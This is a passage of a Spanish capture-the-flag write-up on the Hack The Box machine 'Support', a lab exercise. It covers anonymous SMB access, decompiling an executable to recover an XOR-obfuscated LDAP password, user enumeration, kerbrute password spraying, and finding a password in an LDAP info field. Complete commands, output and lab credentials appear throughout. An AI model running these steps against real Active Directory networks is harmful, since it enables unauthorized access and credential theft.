> For the complete documentation index, see [llms.txt](https://securitylayer.gitbook.io/securitylayer/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://securitylayer.gitbook.io/securitylayer/maquinas-y-modulos-de-htb/windows-easy/support.md).

# Support

<details>

<summary><strong>¯\_( ͡° ͜ʖ ͡°)_/¯</strong> <em><strong>Machine info</strong></em></summary>

Support se centra en una máquina Windows dentro de un entorno de Active Directory y propone un recorrido que combina técnicas de enumeración de servicios, ingeniería inversa y ataques de delegación en entornos corporativos. Desde el inicio, se expone un vector de entrada a través de un recurso compartido **SMB** que permite acceso **anónimo**. A partir de allí, se accede a un ejecutable sospechoso que se analiza mediante **decompilación** para descubrir credenciales codificadas que permiten autenticarse en el servicio LDAP de la misma máquina. Este primer tramo del reto establece el uso de técnicas fundamentales de enumeración de red y análisis estático de binarios.

Una vez obtenido acceso al servicio **LDAP** gracias a la contraseña extraída del ejecutable, el atacante puede realizar consultas al directorio y obtener información clave sobre los usuarios. Este descubrimiento revela un usuario legítimo del sistema, junto con su contraseña filtrada en un campo del directorio. Con estas credenciales, se obtiene una sesión remota a través de **WinRM**, lo cual permite pivotar a una fase más avanzada del ataque. Aquí, se recurre a herramientas de post-explotación como **SharpHound** y **BloodHound** para analizar relaciones dentro del dominio, exponiendo privilegios mal configurados que el usuario comprometido tiene sobre el controlador de dominio.

La fase final del desafío explota estas configuraciones débiles mediante un ataque de delegación restringida basada en recursos (**Resource-Based Constrained Delegation**). Esta técnica permite al atacante suplantar identidades dentro del entorno del dominio y ejecutar código como el usuario más privilegiado del sistema, `NT AUTHORITY\SYSTEM`.&#x20;

</details>

### *Enumeración de puertos/servicios*

```vim
❯ nmap -sCV --open -T4 -v -n 10.10.11.174
```

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* **`sCV`**:
  * `-sC` → **Ejecuta scripts de detección predeterminados** → Usa los scripts de `nmap` ubicados en `/usr/share/nmap/scripts/`, los cuales buscan información adicional en los puertos abiertos.
  * `-sV` → **Detección de versiones** → Intenta identificar el software y su versión en los puertos abiertos.
* `-n` → **No resuelve nombres de dominio** (reduce el tiempo del escaneo).
* `--open` → **Muestra solo puertos abiertos** → Filtra la salida para no mostrar puertos cerrados o filtrados.
* `-T4` → **Ajusta la velocidad del escaneo** → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.
* `-v` → **Modo verbose** → Muestra más detalles sobre el progreso del escaneo.

</details>

Resultado:

<pre class="language-vim"><code class="lang-vim">PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-12 03:51:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
<strong>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
</strong>445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-05-12T03:52:11
|_  start_date: N/A
<strong>|_clock-skew: -8m58s
</strong></code></pre>

En síntesis:

```vim
| Port     | State | Service                | Protocol / Version Info                                                                 |
|----------|-------|------------------------|-----------------------------------------------------------------------------------------------
| 53/tcp   | open  | domain                 | Simple DNS Plus                                                                          
| 88/tcp   | open  | kerberos-sec           | Microsoft Windows Kerberos (server time: 2025-05-12 03:51:57Z)                           
| 135/tcp  | open  | msrpc                  | Microsoft Windows RPC                                                                    
| 139/tcp  | open  | netbios-ssn            | Microsoft Windows netbios-ssn                                                            
| 389/tcp  | open  | ldap                   | Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 
| 445/tcp  | open  | microsoft-ds (SMB/CIFS)| Unknown version (service detected but not fingerprinted)                                 
| 464/tcp  | open  | kpasswd5               | Unknown version                                                                          
| 593/tcp  | open  | ncacn_http             | Microsoft Windows RPC over HTTP 1.0                                                      
| 636/tcp  | open  | tcpwrapped             |                                                                                          
| 3268/tcp | open  | ldap                   | Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 
| 3269/tcp | open  | tcpwrapped             |                                                                                          
| 5985/tcp | open  | http                   | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                   
```

Añadimos el controlador de dominio (DC) que nos muestra nmap a nuestro archivo `/etc/hosts`

```vim
❯ echo "10.10.11.174    support.htb" >> /etc/hosts 
```

> ***Nota**: de esta forma logramos que el sistema pueda resolver correctamente ese nombre cuando se utilicen herramientas que lo requieran. En entornos de Active Directory, muchos servicios como Kerberos, SMB o WinRM necesitan que el nombre de dominio esté correctamente **mapeado a una IP** para funcionar. Si este mapeo no existe, comandos y herramientas que dependen del nombre del dominio podrían **fallar**.*

### ***SMB Enumeration con Enum4linux-ng***

*Ahora vamos a extraer más información del objetivo con* [***enum4linux-ng***](/securitylayer/pentesting-tools/tools/enum4linux-enum4linux-ng.md) *conectándonos como* ***`guest`***

<pre class="language-vim" data-expandable="true"><code class="lang-vim"><strong>❯ enum4linux-ng -A support.htb -u SUPPORT/guest -p ""
</strong>ENUM4LINUX - next generation (v1.3.4)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... support.htb
[*] Username ......... 'SUPPORT/guest'
[*] Random Username .. 'bztefksc'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ==========================================================
|    Domain Information via SMB session for support.htb    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC                                                                    
NetBIOS domain name: SUPPORT                                                                 
<strong>DNS domain: support.htb                                                                      
</strong><strong>FQDN: dc.support.htb                                                                         
</strong>Derived membership: domain member                                                            
Derived domain: SUPPORT 

 =====================================
|    Shares via RPC on support.htb    |
 =====================================
[*] Enumerating shares
[+] Found 6 share(s):
ADMIN$:                                                                                      
  comment: Remote Admin                                                                      
  type: Disk                                                                                 
C$:                                                                                          
  comment: Default share                                                                     
  type: Disk                                                                                 
IPC$:                                                                                        
  comment: Remote IPC                                                                        
  type: IPC                                                                                  
NETLOGON:                                                                                    
  comment: Logon server share                                                                
  type: Disk                                                                                 
SYSVOL:                                                                                      
  comment: Logon server share                                                                
  type: Disk                                                                                 
<strong>support-tools:                                                                               
</strong><strong>  comment: support staff tools                                                               
</strong>  type: Disk                                                                                 
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share SYSVOL
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share support-tools
[+] Mapping: OK, Listing: OK

<strong>❯ echo "10.10.11.174    dc.support.htb" >> /etc/hosts 
</strong></code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

Este comando realiza una enumeración agresiva sobre el objetivo `support.htb`, autenticándose como el usuario `SUPPORT/guest` con una contraseña vacía. Vamos a desglosarlo:

* `-A`: modo agresivo. Ejecuta todos los módulos disponibles para recopilar la máxima cantidad de información, incluyendo:
  * Enumeración de usuarios y grupos.
  * Listado de shares y permisos.
  * Información sobre el sistema operativo y configuración del dominio.
  * Enumeración de políticas de contraseñas y SID.
* `support.htb`: nombre del host objetivo, debe resolverse a una IP válida (por `/etc/hosts` o DNS).
* `-u SUPPORT/guest`: usuario con el que se autentica. Aquí se usa el dominio `SUPPORT` y el nombre de usuario `guest`.
* `-p ""`: contraseña vacía (comillas dobles para especificar que es un string vacío).

</details>

Encontramos el FQDN que también es importante agregarlo al fichero `/etc/hosts`. El DNS domain es el contenedor lógico (`support.htb`), y el FQDN es la identificación completa de un equipo específico dentro de ese contenedor (`dc.support.htb`).

#### ***¿Por qué es válido usar el usuario\*\*\*\* ****`guest`**** ****en herramientas como**** ****`enum4linux`****?***

En muchos sistemas Windows mal configurados (o con configuraciones predeterminadas antiguas), existe una cuenta de invitado llamada `Guest` o `guest` que permite autenticación con privilegios mínimos o incluso sin contraseña. Aunque tiene accesos limitados, puede usarse para:

* Enumerar shares públicos (`smbclient -L`).
* Obtener información básica del dominio o de usuarios a través de `rpcclient` o `enum4linux`.
* Validar si el sistema permite **autenticación anónima**

De los recursos que se enumeraron del SMB hay uno que se llama support-tools allí vamos a ingresar para inspeccionar su contenido usando [**smbclient**](/securitylayer/pentesting-tools/tools/smbclient.md)**.**&#x20;

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ smbclient \\\\support.htb\\support-tools -U SUPPORT/guest 
</strong>Password for [SUPPORT\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
<strong>  UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
</strong>  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 970318 blocks available
<strong>smb: \> get UserInfo.exe.zip 
</strong>getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (145.3 KiloBytes/sec) (average 145.3 KiloBytes/sec)
smb: \> exit
                                                                                             
<strong>❯ strings UserInfo.exe
</strong></code></pre>

### ***Extracción de credenciales hardcodeadas mediante Reverse Engineering***

El recurso que nos interesa descargar para analizar de forma local es el `UserInfo.exe.zip`. Si analizamos las secuencias de caracteres con `strings` vamos a ver que se trata de un programa codeado en .NET. Entonces lo siguiente que debemos hacer es decompilarlo con alguna tool como **ILSpy** para analizar su código fuente en busca de credenciales hardcodeadas. Para instalar y ejecutar este programa en kali seguimos estos pasos:

```
$ wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zip
$ unzip Linux.x64.Release.zip
$ unzip ILSpy-linux-x64-Release.zip
$ cd artifacts/linux-x64
$ chmod +x ILSpy
$ ./ILSpy
```

Luego descomprimimos el `UserInfo.exe.zip` y abrimos el ejecutable con ILSpy

<figure><img src="/files/kYAgOcovpvE9VKTfxgKV" alt=""><figcaption></figcaption></figure>

Las funciones críticas que nos interesan son  `LdapQuery` y `Protected`, allí encontraremos la forma en que el binario codifica las contraseñas y también un posible usuario del sistema.

<figure><img src="/files/FtJDw9hgAdSs51FnLxfW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0LBumzKLQhMFxAViwP1X" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NP3KqGaIEX7kwinWKcyK" alt=""><figcaption></figcaption></figure>

<details>

<summary>📌 <em><strong>Funciones críticas</strong></em></summary>

1\. **Función crítica: `Protected.getPassword()`**

Esta función está diseñada para ocultar una contraseña embebida dentro del binario. Utiliza una estrategia de ofuscación común: codifica la contraseña con Base64 y luego aplica una operación de doble XOR (primero con una clave estática `"armando"` y luego con el valor constante `0xDF`). Al ejecutarse, esta función devuelve la contraseña en texto claro, necesaria para autenticarse en el servidor LDAP.

**Importancia crítica:**\
Esta función actúa como la **clave de acceso** a los servicios internos del dominio. Oculta credenciales en el binario, pero permite recuperarlas mediante ingeniería inversa.&#x20;

2\. **Función crítica: `LdapQuery()`**

`LdapQuery()` es el segundo componente esencial. Una vez que `getPassword()` retorna la contraseña en texto claro, esta función la utiliza para establecer una conexión LDAP contra el servidor `support.htb`. Crea un objeto `DirectoryEntry` con el usuario `support\ldap` y la contraseña obtenida, y luego instancia un `DirectorySearcher` que permite consultar objetos del directorio activo.

**Importancia crítica:**\
Esta función transforma la contraseña en un **vector de acceso real** al dominio. Gracias a ella, el binario puede interactuar con el servidor LDAP y realizar consultas, como buscar usuarios por nombre. Es la funcionalidad principal de la herramienta, cuya intención aparente es listar información de usuarios del sistema.

3\. **Relación entre ambas funciones**

* `getPassword()` **alimenta** al la función `LdapQuery()` con la credencial necesaria.
* `LdapQuery()` **aprovecha esa credencial** para autenticarse y ejecutar búsquedas LDAP.
* Estas dos funciones forman una **cadena de ejecución crítica**, en la que la primera rompe la ofuscación y la segunda establece una conexión de red privilegiada.

Juntas, habilitan la **extracción de información sensible** del dominio, como la lista de usuarios, atributos de cuenta, y potencialmente datos filtrados.&#x20;

</details>

Este patrón es típico de aplicaciones internas que intentan ocultar credenciales pero que, al quedar embebidas en un ejecutable, pueden ser recuperadas fácilmente mediante reversing.

Entonces la contraseña que vamos a descifrar es&#x20;

`0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E`

Y vamos a hacerlo con [**CyberChef**](https://toolbox.itsec.tamu.edu/). Pero primero repasemos cómo es cifrada la contraseña:

* La función `getPassword()` en el binario **replica exactamente esta lógica**:
  1. Decodifica la contraseña de Base64.
  2. Aplica un XOR con la clave `"armando"` (cíclico).
  3. Aplica un XOR con `0xDF`.
  4. Devuelve la contraseña como string.
* **La función `LdapQuery()`** usa esta contraseña para conectarse a un servidor LDAP con el usuario `support\ldap`.

<details>

<summary>📌 <em><strong>¿Qué es XOR?</strong></em></summary>

`XOR` (abreviación de "exclusive OR") es una operación lógica a nivel de bits. Toma dos valores binarios (bits) y devuelve:

* `1` si **son diferentes** (uno es 0 y el otro es 1),
* `0` si **son iguales** (ambos 0 o ambos 1).

A nivel de bytes, si hacés un XOR entre dos bytes, estás comparando cada bit uno a uno.

</details>

#### *¿Cómo se descifra en CyberChef?*

Para revertir este proceso y obtener la contraseña original, replicamos **las operaciones en orden inverso**:

**1. `From Base64`**

Decodificamos el string para obtener los bytes ofuscados.

**2. `XOR con "armando"`**

Aplicamos XOR con la clave `armando`. Esto revierte la primera capa del cifrado.

**3. `XOR con DF (hex)`**

Aplicamos un XOR final con el valor `0xDF` a cada byte. Esto revierte la segunda capa aplicada durante el cifrado.

<figure><img src="/files/WZIeBN7b2dMT9zqnotUe" alt=""><figcaption></figcaption></figure>

### ***User enumeration con imapcket-lookupsid***

Y así logramos descifrar la contraseña: `nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz` que corresponde al usuario `ldap`. Ahora, algo que puede suceder en otro escenario como este es que no contemos con un usuario para usar junto con la contraseña, entonces lo que podemos hacer es enumerar usuarios con el script [**impacket-lookupsid**](/securitylayer/pentesting-tools/tools/suite-impacket.md#impacket-lookupsid) para luego armar una lista de usuarios, validarlos con [**kerbrute**](/securitylayer/pentesting-tools/tools/kerbrute.md) y buscar aquel que haga el match con la contraseña mediante la técnica password spraying. Para obtener la lista de usuarios parceada diseñe el siguiente script en bash que tira de impacket-lookupsid y edita el output del script para volcar los nombres en limpio dentro de una lista llamada users\_enum.txt. Para obtenerlo podes ir al siguiente repositorio [**lookupsid\_enum.sh**](https://github.com/SecurityLayer404/lookupsid_enum)

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ impacket-lookupsid -no-pass 'SUPPORT/guest@support.htb'
</strong>                                                                             
<strong>❯ lookupsid_enum.sh 10.10.11.174 guest '' support.htb 
</strong>[*] Ejecutando impacket-lookupsid contra 10.10.11.174 con support.htb/guest...
Password:
[*] Extrayendo usuarios válidos (SidTypeUser)...
[+] Usuarios extraídos:
Administrator
anderson.damian
bardot.mary
cromwell.gerard
daughtler.mabel
DC$
ford.victoria
Guest
hernandez.stanley
krbtgt
langley.lucy
ldap
levine.leopoldo
monroe.david
raven.clifton
smith.rosario
stoll.rachelle
support
thomas.raphael
west.laura
wilson.shelby
[+] Archivo generado: users_enum.txt
</code></pre>

Usaremos la lista de usuarios que generamos para validarlos con Kerbrute. Aunque este paso no es estrictamente necesario, nos permite confirmar cuáles de esos usuarios existen realmente en el Active Directory

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ kerbrute userenum -d support.htb --dc dc.support.htb users_enum.txt -v
</strong>
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&#x3C; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/15/25 - Ronnie Flathers @ropnop

2025/05/15 20:10:11 >  Using KDC(s):
2025/05/15 20:10:11 >   dc.support.htb:88

2025/05/15 20:10:12 >  [+] VALID USERNAME:       Administrator@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       DC$@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       hernandez.stanley@support.htb                                                                            
2025/05/15 20:10:12 >  [+] VALID USERNAME:       ldap@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       smith.rosario@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       support@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       wilson.shelby@support.htb
2025/05/15 20:10:12 >  [!] krbtgt@support.htb - USER LOCKED OUT
2025/05/15 20:10:12 >  [+] VALID USERNAME:       anderson.damian@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       Guest@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       raven.clifton@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       levine.leopoldo@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       thomas.raphael@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       cromwell.gerard@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       bardot.mary@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       stoll.rachelle@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       west.laura@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       daughtler.mabel@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       monroe.david@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       langley.lucy@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       ford.victoria@support.htb
2025/05/15 20:10:12 >  Done! Tested 21 usernames (20 valid) in 0.714 seconds
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `userenum`: modo de enumeración de usuarios. Envia solicitudes AS\_REQ sin preautenticación para verificar qué usuarios **existen** (basado en la respuesta del KDC).
* `-d support.htb`: el **dominio** en el que se está realizando la enumeración. Se utiliza para construir el SPN o principal Kerberos (`user@DOMAIN`).
* `--dc dc.support.htb`: **servidor objetivo**, usualmente el controlador de dominio (Domain Controller). Se conecta al puerto 88 (Kerberos).
* `usernames.txt`: archivo con la lista de posibles usuarios a validar.
* `-v`: salida detallada que indica cuál usuario es válido, inválido, o si hubo errores de comunicación.

</details>

### ***Password spraying con Kerbrute***

Una vez que nos aseguramos que todos los usuarios de la lista son válidos podemos buscar el match con la contraseña usando el módulo `passwordspray` de kerbrute

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ kerbrute passwordspray -d support.htb --dc dc.support.htb users_enum.txt 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -v
</strong>
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&#x3C; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/15/25 - Ronnie Flathers @ropnop

2025/05/15 20:13:30 >  Using KDC(s):
2025/05/15 20:13:30 >   dc.support.htb:88

2025/05/15 20:13:31 >  [!] Guest@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (14) KDC_ERR_ETYPE_NOSUPP KDC has no support for encryption type                                                             
2025/05/15 20:13:31 >  [!] krbtgt@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - USER LOCKED OUT                                                      
<strong>2025/05/15 20:13:31 >  [+] VALID LOGIN WITH ERROR:       ldap@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz        (Clock skew is too great)           
</strong>2025/05/15 20:13:31 >  [!] smith.rosario@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:31 >  [!] Administrator@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:31 >  [!] wilson.shelby@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:31 >  [!] support@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                                    
2025/05/15 20:13:31 >  [!] anderson.damian@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                            
2025/05/15 20:13:31 >  [!] DC$@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                                        
2025/05/15 20:13:31 >  [!] hernandez.stanley@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                          
2025/05/15 20:13:31 >  [!] thomas.raphael@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                             
2025/05/15 20:13:31 >  [!] levine.leopoldo@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                            
2025/05/15 20:13:31 >  [!] raven.clifton@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:31 >  [!] bardot.mary@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                                
2025/05/15 20:13:31 >  [!] monroe.david@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                               
2025/05/15 20:13:31 >  [!] cromwell.gerard@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                            
2025/05/15 20:13:31 >  [!] langley.lucy@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                               
2025/05/15 20:13:31 >  [!] daughtler.mabel@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                            
2025/05/15 20:13:31 >  [!] west.laura@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                                 
2025/05/15 20:13:31 >  [!] stoll.rachelle@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                             
2025/05/15 20:13:32 >  [!] ford.victoria@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:32 >  Done! Tested 21 logins (1 successes) in 1.219 seconds
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `passwordspray`: modo de ataque. Usa **una sola contraseña** contra **múltiples usuarios** para evitar bloqueos de cuenta. Es ideal para ambientes con políticas de lockout agresivas.
* `-d support.htb`: define el **nombre del dominio** de Active Directory. Este valor se usará para construir los tickets Kerberos (principalmente en el campo `user@REALM` → `usuario@support.htb`).
* `--dc dc.support.htb`: indica el **FQDN o IP del Domain Controller** al que se enviarán las solicitudes Kerberos (puerto 88 por defecto).
* `usernames.txt`: archivo de entrada que contiene la **lista de usuarios** a probar.
* `'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'`: contraseña que se probará **contra todos los usuarios** del archivo. Se encierra entre comillas simples para evitar que caracteres como `^`, `$`, `%` sean interpretados por el shell.
* `-v`: **modo verbose**, imprime el resultado de cada intento, útil para análisis en tiempo real.

</details>

<details>

<summary>⚠️ <em><strong>Error detectado: Clock skew is too great (VALID LOGIN WITH ERROR)</strong></em></summary>

Este error significa que hay una **diferencia importante de tiempo** entre la máquina atacante (Kali) y el servidor Kerberos del dominio (`dc.support.htb`). Kerberos es muy estricto con el tiempo y, por defecto, no permite diferencias mayores a **5 minutos** entre cliente y servidor.

¿Por qué es importante?

* Kerberos usa **timestamps en sus tickets**.
* Si hay desincronización, el servidor puede **rechazar tickets válidos** creyendo que son viejos, futuros o reusados (ataques de repetición).
* Aunque `kerbrute` detectó que las credenciales son correctas, **otros ataques Kerberos** (como TGT, AS-REP roasting, o Pass-the-Ticket) **van a fallar** mientras este problema no se corrija.

¿Cómo solucionamos esto? Sincronizando el reloj de Kali automáticamente:

<pre class="language-vim"><code class="lang-vim"><strong>❯ ntpdate dc.support.htb
</strong>2025-05-15 22:17:29.815338 (-0400) -538.581818 +/- 0.116179 dc.support.htb 10.10.11.174 s1 no-leap
CLOCK: time stepped by -538.581818
</code></pre>

</details>

Una vez que logramos obtener un nuevo par de credenciales lo más recomendable es testear a que servicios nos podemos conectar/logear, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: [**service\_validation.sh**](https://github.com/SecurityLayer404/service_validation)

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ service_validation.sh support.htb ldap 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 
</strong>
[*] Probando credenciales contra support.htb con usuario 'ldap'...

--- Probando smb ---
SMB         10.10.11.174    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.174    445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

--- Probando ldap ---
SMB         10.10.11.174    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.174    389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

--- Probando winrm ---
WINRM       10.10.11.174    5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
WINRM       10.10.11.174    5985   DC               [-] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.11.174    135    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb)
RPC         10.10.11.174    135    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

--- Probando ftp ---

--- Probando ssh ---
</code></pre>

### ***LDAP Enumeration con Ldapsearch***

Aprovechando que tenemos autorización para autenticarnos al LDAP vamos a realizar una búsqueda LDAP autenticada con [**ldapsearch**](/securitylayer/pentesting-tools/tools/ldapsearch.md) dentro del dominio `support.htb` y extraeremos objetos del dominio en busca de&#x20;

* Usuarios y atributos (nombres, grupos, descripciones, contraseñas en campos como `info`, etc.).
* Grupos y membresías.
* Equipos del dominio.
* Configuraciones de políticas o relaciones de confianza.

En este caso si filtramos la información por el `sammacountname:` y vemos las 36 líneas anteriores que corresponden al usuario en cuestión podremos leer toda la información de cada uno. Al revisar toda la información de los usuarios vamos a encontrar unas credenciales hardcodeadas pertenecientes al usuario support

* `grep -i "samaccountname: support"` → busca (ignorando mayúsculas/minúsculas) la línea que contiene el nombre de cuenta `support`
* `-B 36` → muestra las 36 **líneas anteriores** a la línea que contiene el resultado buscado, para así capturar todo el bloque de atributos de esa entrada de usuario

<pre class="language-vim" data-full-width="true"><code class="lang-vim"><strong>❯ ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" > ldap_enum.txt
</strong>                                                                                                       
<strong>❯ cat ldap_enum.txt | grep -i "samaccountname: support" -B 36
</strong># support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
<strong>info: Ironside47pleasure40Watchful
</strong>memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
<strong>name: support
</strong>objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 1
codePage: 0
countryCode: 0
badPasswordTime: 133950161361730761
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
<strong>sAMAccountName: support
</strong></code></pre>

<details>

